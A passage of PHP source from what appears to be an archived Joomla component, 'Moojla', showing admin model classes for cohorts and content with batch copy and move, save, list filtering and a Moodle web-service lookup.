		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			= MoojlaHelper::getActions('cohort');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('cohort');
		}

		if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);

		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('cohort');
		}

		if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}
        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}
}
models/cohorts.php000064400000021472151165724400010234 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		cohorts.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Cohorts Model
 */
class MoojlaModelCohorts extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by',
				'g.name','mcohort',
				'h.title','course_group'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$mcohort = $this->getUserStateFromRequest($this->context .
'.filter.mcohort', 'filter_mcohort');
		if ($formSubmited)
		{
			$mcohort = $app->input->post->get('mcohort');
			$this->setState('filter.mcohort', $mcohort);
		}

		$course_group = $this->getUserStateFromRequest($this->context .
'.filter.course_group', 'filter_course_group');
		if ($formSubmited)
		{
			$course_group =
$app->input->post->get('course_group');
			$this->setState('filter.course_group', $course_group);
		}

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();

/***[JCBGUI.admin_view.php_getitems_after_all.141.$$$$]***/
    JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
    $dataObj = array(
      "wsfunction"          =>
"moojla_get_cohorts",
      "moodlewsrestformat"  => "json",
    );

    $cohorts =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response,
true);

    $ids = array_flip(array_column($cohorts, 'id'));

    foreach($items as $ind => $item)
    {
      $items[$ind]->mcohort =
$cohorts[$ids[$items[$ind]->mcohort]]['name'];
    }
/***[/JCBGUI$$$$]***/

        
		// return items
		return $items;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_cohort',
'a'));

		// From the usergroups table.
		$query->select($db->quoteName('h.title','course_group_title'));
		$query->join('LEFT',
$db->quoteName('#__usergroups', 'h') . ' ON
(' . $db->quoteName('a.course_group') . ' = ' .
$db->quoteName('h.id') . ')');

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.mcohort LIKE '.$search.' OR g.name
LIKE '.$search.')');
			}
		}

		// Filter by Mcohort.
		$_mcohort = $this->getState('filter.mcohort');
		if (is_numeric($_mcohort))
		{
			if (is_float($_mcohort))
			{
				$query->where('a.mcohort = ' . (float) $_mcohort);
			}
			else
			{
				$query->where('a.mcohort = ' . (int) $_mcohort);
			}
		}
		elseif (MoojlaHelper::checkString($_mcohort))
		{
			$query->where('a.mcohort = ' .
$db->quote($db->escape($_mcohort)));
		}
		// Filter by Course_group.
		$_course_group = $this->getState('filter.course_group');
		if (is_numeric($_course_group))
		{
			if (is_float($_course_group))
			{
				$query->where('a.course_group = ' . (float)
$_course_group);
			}
			else
			{
				$query->where('a.course_group = ' . (int) $_course_group);
			}
		}
		elseif (MoojlaHelper::checkString($_course_group))
		{
			$query->where('a.course_group = ' .
$db->quote($db->escape($_course_group)));
		}

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');
		$id .= ':' . $this->getState('filter.mcohort');
		$id .= ':' .
$this->getState('filter.course_group');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_cohort'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_cohort'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
models/content.php000064400000055757151165724400010242 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		content.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla Content Model
 */
class MoojlaModelContent extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'contents_module_id',
				'fileurl',
				'filesize',
				'mimetype',
				'type',
				'filename',
				'file'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.content';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'content', $prefix =
'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}


/***[JCBGUI.admin_view.php_model.133.$$$$]***/
  public function myDelete($pk){
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('rules',
'id')));
    $query->from($db->quoteName('#__assets'));
    $query->where($db->quoteName('name') . ' = '
. $db->quote('com_moojla'));
    $db->setQuery($query);
    $results = $db->loadObjectList();

    $acls = json_decode($results[0]->rules);

    $deleteAcl = null;
    $permission = 'core.delete';
    if(!property_exists($acls, $permission))
    {
      $acls->$permission = new stdClass();
    }

    $pub = '1';

    $acls->$permission->$pub = 1;
    $obj = new stdClass();
    $obj->id = $results[0]->id;
    $obj->rules = json_encode($acls);
    JFactory::getDbo()->updateObject('#__assets', $obj,
'id');

    $obj = new stdClass();
    $obj->id = $pk;
    $obj->published = -2;
    JFactory::getDbo()->updateObject('#__moojla_content',
$obj, 'id'); // trash item

    $pks = array($pk);
    $res = $this->delete($pks);

    $obj = new stdClass();
    $obj->id = $results[0]->id;
    $obj->rules = $results[0]->rules;
    JFactory::getDbo()->updateObject('#__assets', $obj,
'id');

    return $res;
  }/***[/JCBGUI$$$$]***/

    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.content',
'content', $options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.content.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/content.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('core.delete',
'com_moojla.content.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
'com_moojla.content.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.

		return JFactory::getUser()->authorise('core.edit',
'com_moojla.content.'. ((int) isset($data[$key]) ? $data[$key] :
0)) or parent::allowEdit($data, $key);
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_content'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.content.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.content', $data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return false;
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{
		if (!parent::delete($pks))
		{
			return false;
		}
		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			= MoojlaHelper::getActions('content');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('content');
		}

		if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);

		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

